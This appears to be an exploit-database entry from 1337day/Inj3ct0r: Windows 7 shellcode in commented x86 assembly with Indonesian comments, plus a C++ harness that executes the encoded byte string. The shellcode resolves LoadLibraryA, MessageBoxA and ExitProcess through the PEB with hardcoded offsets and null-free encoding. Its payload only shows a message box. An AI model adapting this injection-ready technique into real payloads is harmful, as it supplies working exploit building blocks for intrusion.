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/*
title : win32/7 Ultimate MessageBox ShellCode
Author: Ayrbyte
Link : -
Version: -
Category: local
Tested on: Windows 7 Ultimate
Code : c++
Site : 1337day.com Inj3ct0r Exploit Database
ASSUME FS:NOTHING
XOR ESI,ESI
XOR ECX,ECX ; ECX = 0
MOV ESI,FS:[ECX + 30h] ; ESI = &(PEB) ([FS:0x30])
MOV ESI,[ESI + 0Ch] ; ESI = PEB->Ldr
MOV ESI,[ESI + 1Ch] ; ESI = PEB->Ldr.InInitOrder
xor ebx,ebx
next_module1:
inc ebx
MOV EBP,[ESI + 08h] ; EBP = InInitOrder[X].base_address
MOV EDI,[ESI + 20h] ; EBP = InInitOrder[X].module_name (unicode)
MOV ESI,[ESI] ; ESI = InInitOrder[X].flink (next module)
mov eax,11111111h
mov ecx,11111114h
sub ecx,eax
mov edx,ecx ; ecx = 3 kernel32 berada di urutan ke 3
CMP ebx,edx
JNE next_module1 ; No: mencoba module berikutnya.
; EBP berisi base address kernel32
mov eax,11111111h
mov ecx,11112111h
sub ecx,eax
add ebp,ecx ; offset awal kernel32.dll
mov eax,11111111h
mov ecx,11162975h
sub ecx,eax
mov eax,ecx
add ebp,eax ; EBP ditambah 51864 agar menjadi offset LoadLibrary A
;--->Meload user32 library<---
;memasukkan 'user32' string ke stack
mov edx,esp
add edx,32
mov ecx,72657375h ;75657375h = 'user' dalam format little endian
mov ds:[edx],ecx ;memasukkan 'user' ke stack
mov eax,11111111h
mov ecx,11114344h
sub ecx,eax ;membuat ecx terisi oleh 3233h = '32' dalam format little endian
mov ds:[edx+4],ecx ;memasukkan '32' ke stack
;sekarang edx menjadi offset string 'user32'
push edx ;push 'user32'
call ebp ;Calling kernel32dll.LoadLibraryA
add esp,4
;--->Menemukan Address MessageBoxA<---
ASSUME FS:NOTHING
XOR ESI,ESI
XOR ECX,ECX ; ECX = 0
MOV ESI,FS:[ECX + 30h] ; ESI = &(PEB) ([FS:0x30])
MOV ESI,[ESI + 0Ch] ; ESI = PEB->Ldr
MOV ESI,[ESI + 1Ch] ; ESI = PEB->Ldr.InInitOrder
xor ebx,ebx
next_module2:
inc ebx
MOV EBP,[ESI + 08h] ; EBP = InInitOrder[X].base_address
MOV EDI,[ESI + 20h] ; EBP = InInitOrder[X].module_name (unicode)
MOV ESI,[ESI] ; ESI = InInitOrder[X].flink (next module)
mov eax,11111111h
mov ecx,11111119h
sub ecx,eax
mov edx,ecx ; ecx = 9 user32 berada di urutan ke 9
CMP ebx,edx;
JNE next_module2 ; No: mencoba module berikutnya.
; EBP berisi base address user32
mov eax,11111111h
mov ecx,11112111h
sub ecx,eax
add ebp,ecx ; offset awal user32.dll
mov eax,11111111h
mov ecx,1116EB82h
sub ecx,eax
mov eax,ecx
add ebp,eax ; EBP ditambah 5DA71 agar menjadi offset MessageBoxA
;--->Mempersiapkan String Untuk Judul Dan Isi Messagebox<---
mov eax,11111111h
mov ecx,11111295h
sub ecx,eax
sub esp,ecx
;offset edx judul 'MessageBoxA By Ayrbyte'
mov edx,esp
mov ecx,7373654Dh ;'Mess'
mov ds:[edx],ecx
mov ecx,42656761h ;'ageB'
mov ds:[edx+4],ecx
mov ecx,2041786Fh ;'oxA '
mov ds:[edx+8],ecx
mov ecx,41207942h ;'By A'
mov ds:[edx+12],ecx
mov ecx,79627279h ;'yrby'
mov ds:[edx+16],ecx
mov eax,11111111h
mov ecx,11117685h
sub ecx,eax ;'te'
mov ds:[edx+20],ecx
;offset ebx+23 isi 'MessageBoxA 'the hard way' By Ayrbyte'
mov ebx,edx
add ebx,20
mov ecx,7373654dh ;'Mess'
mov ds:[ebx+4],ecx
mov ecx,42656761h ;'ageB'
mov ds:[ebx+8],ecx
mov ecx,2041786Fh ;'oxA '
mov ds:[ebx+12],ecx
mov ecx,65687427h ;''the'
mov ds:[ebx+16],ecx
mov ecx,72616820h ;' har'
mov ds:[ebx+20],ecx
mov ecx,61772064h ;'d wa'
mov ds:[ebx+24],ecx
mov ecx,42202779h ;'y' B'
mov ds:[ebx+28],ecx
mov ecx,79412079h ;'y Ay'
mov ds:[ebx+32],ecx
mov ecx,74796272h ;'rbyt'
mov ds:[ebx+36],ecx
mov eax,11111111h
mov ecx,11111176h
sub ecx,eax ;'e'
mov ds:[ebx+40],ecx
add ebx,4
;--->Calling MessageBoxA<---
xor eax,eax ; eax = NULL / 0
push eax
push edx
push ebx
push eax
call ebp ;calling user32.MessageBoxA
;--->Calling ExitProcess<---
ASSUME FS:NOTHING
XOR ESI,ESI
XOR ECX,ECX ; ECX = 0
MOV ESI,FS:[ECX + 30h] ; ESI = &(PEB) ([FS:0x30])
MOV ESI,[ESI + 0Ch] ; ESI = PEB->Ldr
MOV ESI,[ESI + 1Ch] ; ESI = PEB->Ldr.InInitOrder
xor ebx,ebx
next_module3:
inc ebx
MOV EBP,[ESI + 08h] ; EBP = InInitOrder[X].base_address
MOV EDI,[ESI + 20h] ; EBP = InInitOrder[X].module_name (unicode)
MOV ESI,[ESI] ; ESI = InInitOrder[X].flink (next module)
mov eax,11111111h
mov ecx,11111113h
sub ecx,eax
mov edx,ecx ; ecx = 3 user32 berada di urutan ke 3
CMP ebx,edx;
JNE next_module3 ; No: mencoba module berikutnya.
; EBP berisi base address user32
mov eax,11111111h
mov ecx,11142637h
sub ecx,eax
add ebp,ecx
call ebp ; Calling KERNELBASEDLL.ExitProcess
*/
#include <iostream>
using namespace std;
char code[] =
"\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E"
"\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11\x11\x11\xB9\x14\x11\x11\x11\x2B\xC8\x8B"
"\xD1\x3B\xDA\x75\xE5\xB8\x11\x11\x11\x11\xB9\x11\x21\x11\x11\x2B\xC8\x03\xE9"
"\xB8\x11\x11\x11\x11\xB9\x75\x29\x16\x11\x2B\xC8\x8B\xC1\x03\xE8\x8B\xD4\x83"
"\xC2\x20\xB9\x75\x73\x65\x72\x89\x0A\xB8\x11\x11\x11\x11\xB9\x44\x43\x11\x11"
"\x2B\xC8\x89\x4A\x04\x52\xFF\xD5\x83\xC4\x04\x33\xF6\x33\xC9\x64\x8B\x71\x30"
"\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11"
"\x11\x11\x11\xB9\x19\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB8\x11\x11"
"\x11\x11\xB9\x11\x21\x11\x11\x2B\xC8\x03\xE9\xB8\x11\x11\x11\x11\xB9\x82\xEB"
"\x16\x11\x2B\xC8\x8B\xC1\x03\xE8\xB8\x11\x11\x11\x11\xB9\x95\x12\x11\x11\x2B"
"\xC8\x2B\xE1\x8B\xD4\xB9\x4D\x65\x73\x73\x89\x0A\xB9\x61\x67\x65\x42\x89\x4A"
"\x04\xB9\x6F\x78\x41\x20\x89\x4A\x08\xB9\x42\x79\x20\x41\x89\x4A\x0C\xB9\x79"
"\x72\x62\x79\x89\x4A\x10\xB8\x11\x11\x11\x11\xB9\x85\x76\x11\x11\x2B\xC8\x89"
"\x4A\x14\x8B\xDA\x83\xC3\x14\xB9\x4D\x65\x73\x73\x89\x4B\x04\xB9\x61\x67\x65"
"\x42\x89\x4B\x08\xB9\x6F\x78\x41\x20\x89\x4B\x0C\xB9\x27\x74\x68\x65\x89\x4B"
"\x10\xB9\x20\x68\x61\x72\x89\x4B\x14\xB9\x64\x20\x77\x61\x89\x4B\x18\xB9\x79"
"\x27\x20\x42\x89\x4B\x1C\xB9\x79\x20\x41\x79\x89\x4B\x20\xB9\x72\x62\x79\x74"
"\x89\x4B\x24\xB8\x11\x11\x11\x11\xB9\x76\x11\x11\x11\x2B\xC8\x89\x4B\x28\x83"
"\xC3\x04\x33\xC0\x50\x52\x53\x50\xFF\xD5\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B"
"\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11"
"\x11\x11\xB9\x13\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB8\x11\x11\x11"
"\x11\xB9\x37\x26\x14\x11\x2B\xC8\x03\xE9\xFF\xD5";
int main(){((void (*)(void))code)();}
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